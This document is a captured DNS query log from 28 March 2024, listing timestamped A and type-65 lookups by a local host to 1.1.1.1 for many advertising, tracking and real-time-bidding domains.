Mar 28, 2024 09:51:43.905653954 CET	192.168.2.4	1.1.1.1	0x8c5f	Standard query (0)	ds.frontend.weborama.fr	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:43.905833960 CET	192.168.2.4	1.1.1.1	0x1bea	Standard query (0)	ds.frontend.weborama.fr	65	IN (0x0001)	false
Mar 28, 2024 09:51:43.914887905 CET	192.168.2.4	1.1.1.1	0xbd	Standard query (0)	visitor-us-west-2.omnitagjs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:43.915043116 CET	192.168.2.4	1.1.1.1	0x4e5d	Standard query (0)	visitor-us-west-2.omnitagjs.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:43.929086924 CET	192.168.2.4	1.1.1.1	0x1539	Standard query (0)	image2.pubmatic.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:43.929527998 CET	192.168.2.4	1.1.1.1	0x28f1	Standard query (0)	image2.pubmatic.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:43.929923058 CET	192.168.2.4	1.1.1.1	0x6b16	Standard query (0)	g2.gumgum.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:43.930253029 CET	192.168.2.4	1.1.1.1	0xebd4	Standard query (0)	g2.gumgum.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:43.937886953 CET	192.168.2.4	1.1.1.1	0x770c	Standard query (0)	image4.pubmatic.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:43.938334942 CET	192.168.2.4	1.1.1.1	0xb48f	Standard query (0)	image4.pubmatic.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:43.954013109 CET	192.168.2.4	1.1.1.1	0xc33f	Standard query (0)	rtb.adentifi.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:43.954408884 CET	192.168.2.4	1.1.1.1	0xd9b1	Standard query (0)	rtb.adentifi.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.102875948 CET	192.168.2.4	1.1.1.1	0x44b7	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.103091955 CET	192.168.2.4	1.1.1.1	0xc789	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.220366955 CET	192.168.2.4	1.1.1.1	0xad19	Standard query (0)	cs-rtb.minutemedia-prebid.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.220609903 CET	192.168.2.4	1.1.1.1	0x8dd9	Standard query (0)	cs-rtb.minutemedia-prebid.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.221026897 CET	192.168.2.4	1.1.1.1	0x774b	Standard query (0)	sync.adkernel.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.221185923 CET	192.168.2.4	1.1.1.1	0xb3de	Standard query (0)	sync.adkernel.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.222048998 CET	192.168.2.4	1.1.1.1	0x173e	Standard query (0)	cs-server-s2s.yellowblue.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.222228050 CET	192.168.2.4	1.1.1.1	0x2662	Standard query (0)	cs-server-s2s.yellowblue.io	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.222592115 CET	192.168.2.4	1.1.1.1	0x5c19	Standard query (0)	cdn.dxkulture.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.222702026 CET	192.168.2.4	1.1.1.1	0x39d5	Standard query (0)	cdn.dxkulture.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.225438118 CET	192.168.2.4	1.1.1.1	0x83f7	Standard query (0)	rtb.gumgum.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.225585938 CET	192.168.2.4	1.1.1.1	0xbee3	Standard query (0)	rtb.gumgum.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.230370998 CET	192.168.2.4	1.1.1.1	0xb99a	Standard query (0)	ssbsync-us.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.230504990 CET	192.168.2.4	1.1.1.1	0x7648	Standard query (0)	ssbsync-us.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.233474970 CET	192.168.2.4	1.1.1.1	0x99f8	Standard query (0)	pubads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.237669945 CET	192.168.2.4	1.1.1.1	0xe421	Standard query (0)	pubads.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.254859924 CET	192.168.2.4	1.1.1.1	0x8084	Standard query (0)	sync.go.sonobi.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.255250931 CET	192.168.2.4	1.1.1.1	0xa688	Standard query (0)	sync.go.sonobi.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.256367922 CET	192.168.2.4	1.1.1.1	0x75	Standard query (0)	prebid.a-mo.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.256583929 CET	192.168.2.4	1.1.1.1	0xf6f6	Standard query (0)	prebid.a-mo.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.270601034 CET	192.168.2.4	1.1.1.1	0x18a1	Standard query (0)	js.tncid.app	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.270934105 CET	192.168.2.4	1.1.1.1	0x84e3	Standard query (0)	js.tncid.app	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.271562099 CET	192.168.2.4	1.1.1.1	0x600a	Standard query (0)	id5-sync.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.271969080 CET	192.168.2.4	1.1.1.1	0xb95c	Standard query (0)	id5-sync.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.274005890 CET	192.168.2.4	1.1.1.1	0xbc76	Standard query (0)	ssum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.274462938 CET	192.168.2.4	1.1.1.1	0xdc45	Standard query (0)	ssum-sec.casalemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.326016903 CET	192.168.2.4	1.1.1.1	0x10ca	Standard query (0)	mwzeom.zeotap.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.326239109 CET	192.168.2.4	1.1.1.1	0x2921	Standard query (0)	mwzeom.zeotap.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.327059031 CET	192.168.2.4	1.1.1.1	0xb38	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.330915928 CET	192.168.2.4	1.1.1.1	0xea52	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.454169989 CET	192.168.2.4	1.1.1.1	0xecc3	Standard query (0)	redirect.frontend.weborama.fr	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.454359055 CET	192.168.2.4	1.1.1.1	0xde70	Standard query (0)	redirect.frontend.weborama.fr	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.454963923 CET	192.168.2.4	1.1.1.1	0xe703	Standard query (0)	loadus.exelator.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.455171108 CET	192.168.2.4	1.1.1.1	0xbde	Standard query (0)	loadus.exelator.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.456341982 CET	192.168.2.4	1.1.1.1	0x3142	Standard query (0)	s0.2mdn.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.456614017 CET	192.168.2.4	1.1.1.1	0xe538	Standard query (0)	s0.2mdn.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.458374023 CET	192.168.2.4	1.1.1.1	0x5572	Standard query (0)	gt.frontend.weborama.fr	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.458573103 CET	192.168.2.4	1.1.1.1	0x7575	Standard query (0)	gt.frontend.weborama.fr	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.458831072 CET	192.168.2.4	1.1.1.1	0x1954	Standard query (0)	www.youronlinechoices.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.458945990 CET	192.168.2.4	1.1.1.1	0x7dfe	Standard query (0)	www.youronlinechoices.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.472667933 CET	192.168.2.4	1.1.1.1	0x13e4	Standard query (0)	aa.agkn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.472879887 CET	192.168.2.4	1.1.1.1	0x5d71	Standard query (0)	aa.agkn.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.474621058 CET	192.168.2.4	1.1.1.1	0x3d21	Standard query (0)	odr.mookie1.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.474781990 CET	192.168.2.4	1.1.1.1	0x5de1	Standard query (0)	odr.mookie1.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.475214005 CET	192.168.2.4	1.1.1.1	0x20b2	Standard query (0)	beacon.krxd.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.475478888 CET	192.168.2.4	1.1.1.1	0xdc2f	Standard query (0)	beacon.krxd.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.475855112 CET	192.168.2.4	1.1.1.1	0x773f	Standard query (0)	usermatch.krxd.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.476038933 CET	192.168.2.4	1.1.1.1	0x5e61	Standard query (0)	usermatch.krxd.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.476370096 CET	192.168.2.4	1.1.1.1	0xa33b	Standard query (0)	tags.bluekai.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.476510048 CET	192.168.2.4	1.1.1.1	0x827c	Standard query (0)	tags.bluekai.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:44.477735043 CET	192.168.2.4	1.1.1.1	0x30b4	Standard query (0)	cms.quantserve.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.478029966 CET	192.168.2.4	1.1.1.1	0x27c	Standard query (0)	cms.quantserve.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:45.612787008 CET	192.168.2.4	1.1.1.1	0xfcbf	Standard query (0)	id.a-mx.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:45.613089085 CET	192.168.2.4	1.1.1.1	0x669c	Standard query (0)	id.a-mx.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:45.644424915 CET	192.168.2.4	1.1.1.1	0x988	Standard query (0)	cm.adform.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:45.644948959 CET	192.168.2.4	1.1.1.1	0x7d1	Standard query (0)	cm.adform.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:45.658397913 CET	192.168.2.4	1.1.1.1	0x613d	Standard query (0)	ssum.casalemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:45.659127951 CET	192.168.2.4	1.1.1.1	0x7069	Standard query (0)	ssum.casalemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:45.928457022 CET	192.168.2.4	1.1.1.1	0xf63f	Standard query (0)	t3.teads.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:45.928755045 CET	192.168.2.4	1.1.1.1	0x8f82	Standard query (0)	t3.teads.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:45.930250883 CET	192.168.2.4	1.1.1.1	0xbf8a	Standard query (0)	csync.loopme.me	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:45.930569887 CET	192.168.2.4	1.1.1.1	0x1a6c	Standard query (0)	csync.loopme.me	65	IN (0x0001)	false
Mar 28, 2024 09:51:45.940921068 CET	192.168.2.4	1.1.1.1	0x24a1	Standard query (0)	jadserve.postrelease.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:45.941674948 CET	192.168.2.4	1.1.1.1	0xed9e	Standard query (0)	jadserve.postrelease.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:46.230317116 CET	192.168.2.4	1.1.1.1	0x7f4a	Standard query (0)	wt.rqtrk.eu	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.230534077 CET	192.168.2.4	1.1.1.1	0x2b0	Standard query (0)	wt.rqtrk.eu	65	IN (0x0001)	false
Mar 28, 2024 09:51:46.290330887 CET	192.168.2.4	1.1.1.1	0x95b6	Standard query (0)	simage4.pubmatic.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.290592909 CET	192.168.2.4	1.1.1.1	0xc08b	Standard query (0)	simage4.pubmatic.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:46.850898981 CET	192.168.2.4	1.1.1.1	0xc19e	Standard query (0)	ice.360yield.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.851141930 CET	192.168.2.4	1.1.1.1	0x6de1	Standard query (0)	ice.360yield.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:46.851465940 CET	192.168.2.4	1.1.1.1	0xc97b	Standard query (0)	u.openx.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.851602077 CET	192.168.2.4	1.1.1.1	0x5e91	Standard query (0)	u.openx.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:46.859812021 CET	192.168.2.4	1.1.1.1	0x2421	Standard query (0)	us.shb-sync.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.860207081 CET	192.168.2.4	1.1.1.1	0xbfe0	Standard query (0)	us.shb-sync.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:46.860553980 CET	192.168.2.4	1.1.1.1	0xdf26	Standard query (0)	s.ad.smaato.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:46.860691071 CET	192.168.2.4	1.1.1.1	0xa5fe	Standard query (0)	s.ad.smaato.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.755767107 CET	192.168.2.4	1.1.1.1	0x7343	Standard query (0)	trz.neodatagroup.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.756035089 CET	192.168.2.4	1.1.1.1	0xf9a5	Standard query (0)	trz.neodatagroup.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.757504940 CET	192.168.2.4	1.1.1.1	0x8230	Standard query (0)	dis.criteo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.757771015 CET	192.168.2.4	1.1.1.1	0xcc94	Standard query (0)	dis.criteo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.758126020 CET	192.168.2.4	1.1.1.1	0xae5c	Standard query (0)	dsum.casalemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.758501053 CET	192.168.2.4	1.1.1.1	0x9fec	Standard query (0)	dsum.casalemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.758944035 CET	192.168.2.4	1.1.1.1	0x64ec	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.759229898 CET	192.168.2.4	1.1.1.1	0x3cab	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.769054890 CET	192.168.2.4	1.1.1.1	0x2a5d	Standard query (0)	aax.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.769375086 CET	192.168.2.4	1.1.1.1	0x4950	Standard query (0)	aax.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.780817032 CET	192.168.2.4	1.1.1.1	0x565e	Standard query (0)	ce.lijit.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.781155109 CET	192.168.2.4	1.1.1.1	0xb69d	Standard query (0)	ce.lijit.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.782099009 CET	192.168.2.4	1.1.1.1	0x97d2	Standard query (0)	oajs.openx.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.782386065 CET	192.168.2.4	1.1.1.1	0x7ef4	Standard query (0)	oajs.openx.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.784405947 CET	192.168.2.4	1.1.1.1	0xc551	Standard query (0)	d.omg.neodatagroup.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.784754038 CET	192.168.2.4	1.1.1.1	0xf745	Standard query (0)	d.omg.neodatagroup.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.785892963 CET	192.168.2.4	1.1.1.1	0x356f	Standard query (0)	pmp.mxptint.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.786050081 CET	192.168.2.4	1.1.1.1	0x997e	Standard query (0)	pmp.mxptint.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.786494970 CET	192.168.2.4	1.1.1.1	0xc0bc	Standard query (0)	pixel.tapad.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.786927938 CET	192.168.2.4	1.1.1.1	0xfcea	Standard query (0)	pixel.tapad.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.787403107 CET	192.168.2.4	1.1.1.1	0x741	Standard query (0)	widgets.wp.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.787781954 CET	192.168.2.4	1.1.1.1	0x89e8	Standard query (0)	widgets.wp.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.828782082 CET	192.168.2.4	1.1.1.1	0xf328	Standard query (0)	token.rubiconproject.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.829410076 CET	192.168.2.4	1.1.1.1	0xffbd	Standard query (0)	token.rubiconproject.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.924110889 CET	192.168.2.4	1.1.1.1	0xc919	Standard query (0)	cdn.indexww.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.924504042 CET	192.168.2.4	1.1.1.1	0x6086	Standard query (0)	cdn.indexww.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.939996958 CET	192.168.2.4	1.1.1.1	0x658e	Standard query (0)	rtb.openx.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.940140963 CET	192.168.2.4	1.1.1.1	0xf5eb	Standard query (0)	rtb.openx.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.944329977 CET	192.168.2.4	1.1.1.1	0xcacf	Standard query (0)	r.casalemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.945103884 CET	192.168.2.4	1.1.1.1	0x7ef3	Standard query (0)	r.casalemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.945889950 CET	192.168.2.4	1.1.1.1	0x3e7a	Standard query (0)	pippio.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.946268082 CET	192.168.2.4	1.1.1.1	0xd98d	Standard query (0)	pippio.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.959733009 CET	192.168.2.4	1.1.1.1	0xb072	Standard query (0)	hb.yahoo.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.960127115 CET	192.168.2.4	1.1.1.1	0x4d4e	Standard query (0)	hb.yahoo.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:48.975970030 CET	192.168.2.4	1.1.1.1	0x6c64	Standard query (0)	mcdp-chidc2.outbrain.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:48.976149082 CET	192.168.2.4	1.1.1.1	0x3193	Standard query (0)	mcdp-chidc2.outbrain.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:49.350440979 CET	192.168.2.4	1.1.1.1	0xb43b	Standard query (0)	pandg.tapad.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.350589991 CET	192.168.2.4	1.1.1.1	0xe436	Standard query (0)	pandg.tapad.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:49.671717882 CET	192.168.2.4	1.1.1.1	0x17f8	Standard query (0)	im.tncid.app	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.672034025 CET	192.168.2.4	1.1.1.1	0xe524	Standard query (0)	im.tncid.app	65	IN (0x0001)	false
Mar 28, 2024 09:51:49.752669096 CET	192.168.2.4	1.1.1.1	0xe0ae	Standard query (0)	ads.servenobid.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.753204107 CET	192.168.2.4	1.1.1.1	0x7546	Standard query (0)	ads.servenobid.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:49.873964071 CET	192.168.2.4	1.1.1.1	0x71df	Standard query (0)	id5-sync.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.874358892 CET	192.168.2.4	1.1.1.1	0x3003	Standard query (0)	id5-sync.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:49.878572941 CET	192.168.2.4	1.1.1.1	0xdbe3	Standard query (0)	match.deepintent.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.878715038 CET	192.168.2.4	1.1.1.1	0xed79	Standard query (0)	match.deepintent.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:49.882710934 CET	192.168.2.4	1.1.1.1	0xca9f	Standard query (0)	c1.adform.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.882874012 CET	192.168.2.4	1.1.1.1	0xccef	Standard query (0)	c1.adform.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:49.891738892 CET	192.168.2.4	1.1.1.1	0x2d91	Standard query (0)	tg.socdm.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.891870975 CET	192.168.2.4	1.1.1.1	0x1e33	Standard query (0)	tg.socdm.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:49.913621902 CET	192.168.2.4	1.1.1.1	0x57d9	Standard query (0)	casale-match.dotomi.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.913897038 CET	192.168.2.4	1.1.1.1	0x637f	Standard query (0)	casale-match.dotomi.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:49.919239044 CET	192.168.2.4	1.1.1.1	0x1add	Standard query (0)	capi.connatix.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.921025038 CET	192.168.2.4	1.1.1.1	0x82cc	Standard query (0)	capi.connatix.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:49.922231913 CET	192.168.2.4	1.1.1.1	0x9564	Standard query (0)	cm-supply-web.gammaplatform.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.922549009 CET	192.168.2.4	1.1.1.1	0x6ada	Standard query (0)	cm-supply-web.gammaplatform.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:49.931047916 CET	192.168.2.4	1.1.1.1	0xe5c6	Standard query (0)	ssp.disqus.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:49.931189060 CET	192.168.2.4	1.1.1.1	0x886	Standard query (0)	ssp.disqus.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:50.178859949 CET	192.168.2.4	1.1.1.1	0x96e	Standard query (0)	s0.2mdn.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:50.179202080 CET	192.168.2.4	1.1.1.1	0x4049	Standard query (0)	s0.2mdn.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:51.866094112 CET	192.168.2.4	1.1.1.1	0x7158	Standard query (0)	cm.adgrx.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.866230011 CET	192.168.2.4	1.1.1.1	0x81f3	Standard query (0)	cm.adgrx.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:51.867079020 CET	192.168.2.4	1.1.1.1	0xb845	Standard query (0)	pm.w55c.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.867503881 CET	192.168.2.4	1.1.1.1	0xbf96	Standard query (0)	pm.w55c.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:51.882200956 CET	192.168.2.4	1.1.1.1	0x2cc6	Standard query (0)	ad.mrtnsvr.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.882694960 CET	192.168.2.4	1.1.1.1	0x637f	Standard query (0)	ad.mrtnsvr.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:51.940149069 CET	192.168.2.4	1.1.1.1	0xcb2c	Standard query (0)	a.tribalfusion.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.940453053 CET	192.168.2.4	1.1.1.1	0xa070	Standard query (0)	a.tribalfusion.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:51.958852053 CET	192.168.2.4	1.1.1.1	0x6f28	Standard query (0)	gocm.c.appier.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.959017992 CET	192.168.2.4	1.1.1.1	0xc3ab	Standard query (0)	gocm.c.appier.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:51.959808111 CET	192.168.2.4	1.1.1.1	0x1fbb	Standard query (0)	ipac.ctnsnet.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.960031033 CET	192.168.2.4	1.1.1.1	0x758	Standard query (0)	ipac.ctnsnet.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:51.960916042 CET	192.168.2.4	1.1.1.1	0x8e8c	Standard query (0)	core.iprom.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.961056948 CET	192.168.2.4	1.1.1.1	0xd62e	Standard query (0)	core.iprom.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:51.962225914 CET	192.168.2.4	1.1.1.1	0xafe1	Standard query (0)	matching.truffle.bid	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.962496996 CET	192.168.2.4	1.1.1.1	0xc4df	Standard query (0)	matching.truffle.bid	65	IN (0x0001)	false
Mar 28, 2024 09:51:51.972439051 CET	192.168.2.4	1.1.1.1	0xf264	Standard query (0)	px.owneriq.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.972731113 CET	192.168.2.4	1.1.1.1	0xe156	Standard query (0)	px.owneriq.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:51.985033035 CET	192.168.2.4	1.1.1.1	0xa5d3	Standard query (0)	sync2.resetdigital.co	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.985285044 CET	192.168.2.4	1.1.1.1	0x6c52	Standard query (0)	sync2.resetdigital.co	65	IN (0x0001)	false
Mar 28, 2024 09:51:51.986800909 CET	192.168.2.4	1.1.1.1	0x5086	Standard query (0)	thrtle.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.987045050 CET	192.168.2.4	1.1.1.1	0x60	Standard query (0)	thrtle.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:51.988502026 CET	192.168.2.4	1.1.1.1	0xabfa	Standard query (0)	crb.kargo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.988967896 CET	192.168.2.4	1.1.1.1	0x9dbd	Standard query (0)	crb.kargo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:51.990305901 CET	192.168.2.4	1.1.1.1	0xa0f5	Standard query (0)	sync.bfmio.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:51.990472078 CET	192.168.2.4	1.1.1.1	0x865e	Standard query (0)	sync.bfmio.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:53.534235954 CET	192.168.2.4	1.1.1.1	0xa49f	Standard query (0)	match.prod.bidr.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:53.534914970 CET	192.168.2.4	1.1.1.1	0xedc4	Standard query (0)	match.prod.bidr.io	65	IN (0x0001)	false
Mar 28, 2024 09:51:58.549459934 CET	192.168.2.4	1.1.1.1	0xe974	Standard query (0)	usersync.gumgum.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.549649000 CET	192.168.2.4	1.1.1.1	0x8b9	Standard query (0)	usersync.gumgum.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:58.550153971 CET	192.168.2.4	1.1.1.1	0xa075	Standard query (0)	rtb.adstanding.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.550287962 CET	192.168.2.4	1.1.1.1	0x52d6	Standard query (0)	rtb.adstanding.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:58.745280981 CET	192.168.2.4	1.1.1.1	0x4990	Standard query (0)	sync-dmp.mobtrakk.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.745280981 CET	192.168.2.4	1.1.1.1	0x2b48	Standard query (0)	sync-dmp.mobtrakk.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:58.752782106 CET	192.168.2.4	1.1.1.1	0x4726	Standard query (0)	sync.tidaltv.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.785366058 CET	192.168.2.4	1.1.1.1	0x2d8c	Standard query (0)	ads.yieldmo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.785366058 CET	192.168.2.4	1.1.1.1	0x39e6	Standard query (0)	ads.yieldmo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:58.788036108 CET	192.168.2.4	1.1.1.1	0xa93c	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.788036108 CET	192.168.2.4	1.1.1.1	0xd82f	Standard query (0)	contextual.media.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:58.791246891 CET	192.168.2.4	1.1.1.1	0xc9d8	Standard query (0)	r.bidswitch.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:58.791477919 CET	192.168.2.4	1.1.1.1	0x113	Standard query (0)	r.bidswitch.net	65	IN (0x0001)	false
